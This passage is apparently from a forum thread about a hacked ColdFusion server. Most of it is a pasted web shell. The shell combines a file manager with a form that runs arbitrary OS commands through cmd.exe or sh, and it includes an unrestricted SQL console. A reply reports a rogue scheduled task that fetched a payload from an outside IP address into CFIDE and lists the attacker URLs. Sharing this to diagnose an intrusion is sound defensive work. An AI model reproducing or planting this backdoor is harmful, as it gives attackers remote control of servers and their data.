              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;copyDir&quot;&gt;<br>

              &lt;cfif DirectoryExists(&quot;#attributes.pathNew#&quot;)&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;script&gt;<br>

              alert(&quot;This folder already exists!\nPlease use synchronize function.&quot;);<br>

              history.back();<br>

              &lt;/script&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfabort&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfdirectory directory=&quot;#attributes.path##attributes.delimiter##attributes.di r#&quot; name=&quot;attributes.getDir&quot;&gt;<br>

              &lt;!--- create main folder ---&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cfdirectory action=&quot;CREATE&quot; directory=&quot;#attributes.pathNew#&quot;&gt;<br>

              &lt;cfoutput&gt;&lt;h3&gt;#attributes.pathNew#&lt;/h3&gt;&lt;/cf output&gt;<br>

              &lt;cfcatch/&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;!--- copy folder content - Recursive copy ---&gt;<br>

              &lt;cfloop query=&quot;attributes.getDir&quot;&gt;<br>

              &lt;cfif type eq &quot;file&quot;&gt;<br>

              &lt;cffile <br>

              action=&quot;COPY&quot; <br>

              source=&quot;#attributes.path##attributes.delimiter##attributes. dir##attributes.delimiter##name#&quot; <br>

              destination=&quot;#attributes.pathNew##attributes.delimiter##nam e#&quot;<br>

              attributes=&quot;Normal&quot;&gt;<br>

              &lt;cfoutput&gt;&lt;div&gt;#attributes.pathNew##attributes.delim iter#&lt;b&gt;#name#&lt;/b&gt;&lt;/div&gt;&lt;/cfoutput&gt;<br>

              &lt;cfflush&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;cfloop query=&quot;attributes.getDir&quot;&gt;<br>

              &lt;cfif type eq &quot;dir&quot;&gt;<br>

              &lt;cfmodule <br>

              fuseaction=&quot;copyDir&quot;<br>

              template=&quot;#attributes.thisModule#&quot; <br>

              h=&quot;#attributes.H#&quot;<br>

              path=&quot;#attributes.path##attributes.delimiter##attributes.di r##attributes.delimiter#&quot;<br>

              dir=&quot;#name#&quot;<br>

              pathNew=&quot;#attributes.pathNew##attributes.delimiter##name#&q uot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;button name=&quot;fileManagerButton&quot; style=&quot;width:700&quot; onclick=&quot;window.location.href='?h=#attributes.H#&amp;path=#jsStr ingFormat(attributes.path)#'&quot;&gt;Copy done! Back to &lt;b&gt;#attributes.path#&lt;/b&gt;&lt;/button&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;renameFile&quot;&gt;<br>

              &lt;cfif fileExists(&quot;#attributes.path##attributes.delimiter##attributes.f ileNew#&quot;)&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;script&gt;<br>

              alert(&quot;This file already exists!&quot;);<br>

              history.back();<br>

              &lt;/script&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfabort&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;rename&quot; source=&quot;#attributes.path##attributes.delimiter##attributes.file# &quot; destination=&quot;#attributes.path##attributes.delimiter##attributes. fileNew#&quot; attributes=&quot;normal&quot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=File updated!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error while updating file!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfcase&gt;</p>

    <p> &lt;cfcase value=&quot;removeR&quot;&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;rename&quot; source=&quot;#attributes.path##attributes.delimiter##attributes.file# &quot; destination=&quot;#attributes.path##attributes.delimiter##attributes. fileNew#&quot; attributes=&quot;normal&quot;&gt;<br>

              &lt;cfset qs = &quot;&quot;&gt;<br>

              &lt;cfif isDefined(&quot;attributes.after&quot;) and attributes.after eq &quot;edit&quot;&gt;<br>

              &lt;cfset qs = &quot;fuseaction=edit&amp;file=#attributes.file#&amp;&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;#qs#msg=File updated!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;#qs#msg=Error while updating file!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;renameDir&quot;&gt;<br>

              &lt;cfif DirectoryExists(&quot;#attributes.path##attributes.delimiter##attribu tes.dirNew#&quot;)&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;script&gt;<br>

              alert(&quot;This folder already exists!&quot;);<br>

              history.back();<br>

              &lt;/script&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfabort&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;h2&gt;Rename folder - step 1: copy files&lt;/h2&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;copyDir&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              path=&quot;#attributes.path#&quot;<br>

              pathOrigin=&quot;#attributes.path##attributes.delimiter##attribu tes.dir#&quot;<br>

              pathNew=&quot;#attributes.path##attributes.delimiter##attributes .dirNew#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;h2&gt;Rename folder - step 2: delete files&lt;/h2&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;deleteDirRecursive&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              path=&quot;#attributes.path#&quot;<br>

              dir=&quot;#attributes.dir#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;button name=&quot;fileManagerButton&quot; style=&quot;width:700&quot; onclick=&quot;window.location.href='?path=#jsStringFormat(attributes. path)#&amp;h=#attributes.H#'&quot;&gt;Rename done! Back to &lt;b&gt;#attributes.path#&lt;/b&gt;&lt;/button&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcase&gt;</p>

    <p> &lt;cfcase value=&quot;moveFile&quot;&gt;<br>

              &lt;h2&gt;Move file - step 1: copy file&lt;/h2&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;copyFile&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              path=&quot;#attributes.path#&quot;<br>

              file=&quot;#attributes.file#&quot;<br>

              pathNew=&quot;#attributes.pathNew#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;h2&gt;Move file - step 2: delete file&lt;/h2&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;deleteFile&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              path=&quot;#attributes.path#&quot;<br>

              file=&quot;#attributes.file#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=File moved!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;moveDir&quot;&gt;<br>

              &lt;h1&gt;Move folder - step 1: copy files&lt;/h1&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;copyDir&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              pathOrigin=&quot;#attributes.path##attributes.delimiter##attribu tes.dir#&quot;<br>

              pathNew=&quot;#attributes.pathNew##attributes.delimiter##attribu tes.dir#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;h1&gt;Move folder - step 2: delete files&lt;/h1&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;deleteDirRecursive&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              path=&quot;#attributes.path#&quot;<br>

              dir=&quot;#attributes.dir#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;button name=&quot;fileManagerButton&quot; style=&quot;width:700&quot; onclick=&quot;window.location.href='?h=#attributes.H#&amp;path=#jsStr ingFormat(attributes.path)#'&quot;&gt;Move done! Back to &lt;b&gt;#attributes.path#&lt;/b&gt;&lt;/button&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;syncDir&quot;&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;&lt;h1&gt;Synchronize&lt;/h1&gt;&lt;h3&gt;From.. . #attributes.path#&lt;/h3&gt;&lt;h3&gt;To... #attributes.pathNew#&lt;/h3&gt;&lt;hr&gt;&lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfdirectory directory=&quot;#attributes.path#&quot; name=&quot;getDir&quot;&gt;<br>

              &lt;cfdirectory directory=&quot;#attributes.pathNew#&quot; name=&quot;getDirNew&quot;&gt;<br>

              &lt;!--- create main folder ---&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cfdirectory action=&quot;CREATE&quot; directory=&quot;#attributes.pathNew#&quot;&gt;<br>

              &lt;cfoutput&gt;&lt;h3 style=&quot;color:green&quot;&gt;#attributes.pathNew# ... created!&lt;/h3&gt;&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;&lt;cfoutput&gt;&lt;h3&gt;#attributes.pathNew# ... existing!&lt;/h3&gt;&lt;/cfoutput&gt;&lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;!--- copy folder content - Recursive copy ---&gt;<br>

              &lt;cfloop query=&quot;getDir&quot;&gt;<br>

              &lt;cfset getDirCurrentRow = getDir.currentRow&gt;<br>

              &lt;cfif type eq &quot;file&quot;&gt;<br>

              &lt;cfset fileExists = 0&gt;<br>

              &lt;!--- Check if file exists ---&gt;<br>

              &lt;cfloop query=&quot;getDirNew&quot;&gt;<br>

              &lt;cfset getDirNewCurrentRow = getDirNew.currentRow&gt;<br>

              &lt;cfif getDir.name[getDirCurrentRow] eq getDirNew.name[getDirNewCurrentRow]&gt;<br>

              &lt;cfset fileExists = 1&gt;<br>

              &lt;cfset fileIsModified = 0&gt;<br>

              &lt;cfif getDir.DATELASTMODIFIED[getDirCurrentRow] gt getDirNew.DATELASTMODIFIED[getDirNewCurrentRow]&gt;<br>

              &lt;cfset fileIsModified = 1&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfbreak&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;!--- action ---&gt;<br>

              &lt;cfif fileExists&gt;<br>

              &lt;cfif fileIsModified or attributes.overwriteAll&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;DELETE&quot; file=&quot;#attributes.pathNew##attributes.delimiter##name#&quot;&gt; <br>

              &lt;cffile<br>

              action=&quot;COPY&quot; <br>

              source=&quot;#attributes.path##attributes.delimiter##name#&quot; <br>

              destination=&quot;#attributes.pathNew##attributes.delimiter##nam e#&quot;<br>

              attributes=&quot;Normal&quot;&gt;<br>

              &lt;cfoutput&gt;&lt;div style=&quot;color:orange&quot;&gt;#attributes.pathNew##attributes.del imiter#&lt;b&gt;#name#&lt;/b&gt; ... updated!&lt;/div&gt;&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;&lt;div style=&quot;color:red&quot;&gt;#attributes.pathNew##attributes.delimi ter#&lt;b&gt;#name#&lt;/b&gt; ... cannot update!&lt;/div&gt;&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;cfoutput&gt;&lt;div&gt;#attributes.pathNew##attributes.delim iter#&lt;b&gt;#name#&lt;/b&gt; ... uptodate&lt;/div&gt;&lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;cffile <br>

              action=&quot;COPY&quot; <br>

              source=&quot;#attributes.path##attributes.delimiter##name#&quot; <br>

              destination=&quot;#attributes.pathNew##attributes.delimiter##nam e#&quot;<br>

              attributes=&quot;Normal&quot;&gt;<br>

              &lt;cfoutput&gt;&lt;div style=&quot;color:green&quot;&gt;#attributes.pathNew##attributes.deli miter#&lt;b&gt;#name#&lt;/b&gt; ... new!&lt;/div&gt;&lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfflush&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;cfloop query=&quot;getDir&quot;&gt;<br>

              &lt;cfif type eq &quot;dir&quot;&gt;<br>

              &lt;cfmodule <br>

              fuseaction=&quot;syncDir&quot;<br>

              template=&quot;#attributes.thisModule#&quot; <br>

              h=&quot;#attributes.H#&quot;<br>

              path=&quot;#attributes.path##attributes.delimiter##name#&quot;<b r>

              pathNew=&quot;#attributes.pathNew##attributes.delimiter##name#&q uot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;button name=&quot;fileManagerButton&quot; style=&quot;width:700&quot; onclick=&quot;window.location.href='?h=#attributes.H#&amp;path=#jsStr ingFormat(attributes.pathNew)#'&quot;&gt;Synchronization done! Back to &lt;b&gt;#attributes.pathNew#&lt;/b&gt;&lt;/button&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;search&quot;&gt;<br>

              &lt;cfif attributes.searchtext eq &quot;&quot; and attributes.searchname eq &quot;&quot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error: no criteria!&quot;,attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif not isDefined(&quot;request.searchResult&quot;)&gt;<br>

              &lt;cfset request.searchResult = queryNew(&quot;path,name,type,size,datelastmodified,attributes&quot;) &gt;<br>

              &lt;cfset attributes.searchpath = attributes.path&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfset countsearchresult =  request.searchResult.recordCount&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cfdirectory action=&quot;LIST&quot; directory=&quot;#attributes.searchpath#&quot; name=&quot;getDir&quot;&gt;<br>

              &lt;!--- Search files ---&gt;<br>

              &lt;cfloop query=&quot;getDir&quot;&gt;<br>

              &lt;cfif attributes.maxsearchresult lte countsearchresult&gt;<br>

              &lt;cfbreak&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif type eq &quot;file&quot;&gt;<br>

              &lt;cfset isOK = 1&gt;<br>

              &lt;cfif attributes.searchname neq &quot;&quot;&gt;<br>

              &lt;cfset isOK = REFindNoCase(attributes.searchname,name)&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif attributes.searchtext neq &quot;&quot; and isOK eq 1&gt;<br>

              &lt;cffile action=&quot;READ&quot; file=&quot;#attributes.searchpath##attributes.delimiter##name#&quot; variable=&quot;filecontent&quot;&gt;<br>

              &lt;cfset isOK = REFindNoCase(attributes.searchtext,filecontent)&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif isOK&gt;<br>

              &lt;cfset tmp = queryAddRow(request.searchResult)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;path&quot;,attributes.searchp ath)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;name&quot;,name)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;type&quot;,type)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;size&quot;,size)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;datelastmodified&quot;,datela stmodified)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;attributes&quot;,attributes)& gt;<br>

              &lt;cfset countsearchresult =  countsearchresult + 1&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;!--- Search dir ---&gt;<br>

              &lt;cfloop query=&quot;getDir&quot;&gt;<br>

              &lt;cfif attributes.maxsearchresult lte countsearchresult&gt;<br>

              &lt;cfbreak&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif type eq &quot;dir&quot; and name neq &quot;.&quot; and name neq &quot;..&quot;&gt;<br>

              &lt;cfif attributes.searchname neq &quot;&quot; and REFindNoCase(attributes.searchname,name)&gt;<br>

              &lt;cfset tmp = queryAddRow(request.searchResult)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;path&quot;,attributes.searchp ath)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;name&quot;,name)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;type&quot;,type)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;size&quot;,size)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;datelastmodified&quot;,datela stmodified)&gt;<br>

              &lt;cfset tmp = querySetCell(request.searchResult,&quot;attributes&quot;,attributes)& gt;<br>

              &lt;cfset countsearchresult =  countsearchresult + 1&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;!--- Search in sub dir ---&gt;<br>

              &lt;cfif attributes.recursive eq 1&gt;<br>

              &lt;cfloop query=&quot;getDir&quot;&gt;<br>

              &lt;cfif attributes.maxsearchresult lte countsearchresult&gt;<br>

              &lt;cfbreak&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif type eq &quot;dir&quot; and name neq &quot;.&quot; and name neq &quot;..&quot;&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;search&quot;<br>

              path=&quot;#attributes.path#&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              searchpath=&quot;#attributes.searchpath##attributes.delimiter##n ame#&quot;<br>

              recursive=&quot;#attributes.recursive#&quot;<br>

              searchtext=&quot;#attributes.searchtext#&quot;<br>

              searchname=&quot;#attributes.searchname#&quot;<br>

              maxsearchresult=&quot;#attributes.maxsearchresult#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error!&quot;,attributes.relocate) #&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;!--- Show result ---&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfset caller.getDir = request.searchResult&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;home&quot;<br>

              path=&quot;#attributes.path#&quot;<br>

              h=&quot;#attributes.h#&quot;<br>

              msg=&quot;Search result: #request.searchResult.recordCount# elements!&quot;<br>

              getDir=&quot;#request.searchResult#&quot;<br>

              showpath=&quot;#iif(attributes.recursive,1,0)#&quot;<br>

              searchtext=&quot;#attributes.searchtext#&quot;<br>

              searchname=&quot;#attributes.searchname#&quot;<br>

              maxsearchresult=&quot;#attributes.maxsearchresult#&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;/cfswitch&gt;</p>

    <p>&lt;/br&gt;&lt;/br&gt;</p>

    <p>&lt;cfoutput&gt;<br>

              &lt;!--&lt;table&gt;--&gt;<br>

              &lt;cfset tempFile = #GetTempFile(GetTempDirectory(),&quot;testFile&quot;)# /&gt;<br>

              &lt;cfif IsDefined(&quot;FORM.cmd&quot;)&gt;<br>

              &lt;cfoutput&gt;#cmd#&lt;/cfoutput&gt;<br>

              &lt;cfif server.os.name neq &quot;UNIX&quot;&gt;<br>

              &lt;cfexecute name=&quot;cmd.exe&quot; arguments=&quot;/c #cmd#&quot; outputfile=&quot;#tempFile#&quot; timeout=&quot;2000&quot;&gt;&lt;/cfexecute&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;cfexecute name=&quot;sh&quot; arguments=&quot;-c &quot;&quot;#REReplace(cmd,&quot;&quot;&quot;&quot;,&quot;'&quot;,&qu ot;ALL&quot;)#&quot;&quot;&quot; outputfile=&quot;#tempFile#&quot; timeout=&quot;2000&quot;&gt;&lt;/cfexecute&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;form action=&quot;&lt;cfoutput&gt;#CGI.SCRIPT_NAME#&lt;/cfoutput&gt;&quot; method=&quot;post&quot;&gt;<br>

              &lt;input type=text size=45 name=&quot;cmd&quot; &gt;<br>

              &lt;input type=Submit value=&quot;run&quot;&gt;<br>

              &lt;/form&gt;<br>

              &lt;cfif FileExists(&quot;#tempFile#&quot;) is &quot;Yes&quot;&gt;<br>

              &lt;cffile action=&quot;Read&quot; file=&quot;#tempFile#&quot; variable=&quot;readText&quot;&gt;<br>

              &lt;textarea readonly cols=80 rows=20&gt;<br>

              &lt;CFOUTPUT&gt;#readText#&lt;/CFOUTPUT&gt;<br>

              &lt;/textarea&gt;<br>

              &lt;cffile action=&quot;Delete&quot; file=&quot;#tempFile#&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/br&gt;&lt;/br&gt;</p>

    <p>&lt;p&gt;&lt;b&gt;Notes:&lt;/b&gt;&lt;/p&gt;<br>

              &lt;ul&gt;<br>

              &lt;li&gt;Select the database you want to use&lt;/li&gt;<br>

              &lt;li&gt;Write SQL statements in the text box&lt;/li&gt;<br>

              &lt;/ul&gt;</p>

    <p>&lt;form method=&quot;POST&quot; action=&quot;&quot;&gt;<br>

              &lt;p&gt;&lt;b&gt;SQL Interface:&lt;/b&gt;&lt;/p&gt;<br>

              Datasource&lt;br&gt;<br>

              &lt;input type=&quot;text&quot; name=&quot;datasource&quot; /&gt;<br>

              &lt;br&gt;<br>

              SQL&lt;br&gt;<br>

              &lt;textarea name=&quot;sql&quot; rows=&quot;5&quot; cols=&quot;100&quot;&gt;&lt;/textarea&gt;<br>

              &lt;br&gt;<br>

              &lt;input type=submit value=&quot;Exec&quot;&gt;<br>

              &lt;/form&gt;</p>

    <p>&lt;cfif isdefined(&quot;form.sql&quot;)&gt;<br>

              &lt;cfquery name=&quot;runsql&quot; datasource=&quot;#Form.datasource#&quot; timeout=&quot;30&quot;&gt;<br>

              #REReplace(Form.sql,&quot;&quot;&quot;&quot;,&quot;'&quot;,&quot ;ALL&quot;)#<br>

              &lt;/cfquery&gt;<br>

              &lt;/cfif&gt;</p>

    <p>&lt;table border=1&gt;<br>

              &lt;cfif isdefined(&quot;form.sql&quot;)&gt;<br>

              &lt;cfloop from=&quot;0&quot; to=&quot;#runsql.RecordCount#&quot; index=&quot;row&quot;&gt;<br>

              &lt;cfif row eq 0&gt;<br>

              &lt;tr&gt;<br>

              &lt;cfloop list=&quot;#runsql.ColumnList#&quot; index=&quot;column&quot; delimiters=&quot;,&quot;&gt;<br>

              &lt;th&gt;&lt;cfoutput&gt;#column#&lt;/cfoutput&gt;&lt;/th&gt; <br>

              &lt;/cfloop&gt;<br>

              &lt;/tr&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;tr&gt;<br>

              &lt;cfloop list=&quot;#runsql.ColumnList#&quot; index=&quot;column&quot; delimiters=&quot;,&quot;&gt;<br>

              &lt;td&gt;&lt;cfoutput&gt;#runsql[column][row]#&lt;/cfoutput&gt; &lt;/td&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/table&gt;<br>

              &lt;/br&gt; &lt;/br&gt;</p>

    <p> </p>

    <p>&lt;/body&gt;<br>

              &lt;/html&gt;</p>

    <p> &lt;cfelse&gt;<br>

              &lt;form method=&quot;post&quot;&gt;<br>

              &lt;label for=&quot;code&quot;&gt;Code:&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;code&quot; /&gt;<br>

              &lt;br/&gt;<br>

              &lt;input type=&quot;submit&quot; value=&quot;Login&quot; /&gt;<br>

              &lt;/form&gt;<br>

              &lt;/cfif&gt;</p>

    <p>&lt;cfcatch&gt;<br>

              &lt;/cfcatch&gt; <br>

              &lt;/cftry&gt;<br>

    </p>

     
    |
    Mark as:
  • Currently Being Moderated
    Sep 22, 2013 3:03 PM   in reply to Cenn Raven

    Ok, I just looked in my scheduled tasks and found an entry that has the URL set to http://84.33.192.46/tmp/updates.txt and saves the output file to the cfide/updates.cfm

     

    !!!!!!!!!!!!!!!!

     

     

    http://84.33.192.46/tmp/updates.txt

    saves to updates.cfm

     

    http://216.164.204.70/CFIDE/sq.txt

     
    |
    Mark as:

More Like This

  • Retrieving data ...

Bookmarked By (0)

Answers + Points = Status

  • 10 points awarded for Correct Answers
  • 5 points awarded for Helpful Answers
  • 10,000+ points
  • 1,001-10,000 points
  • 501-1,000 points
  • 5-500 points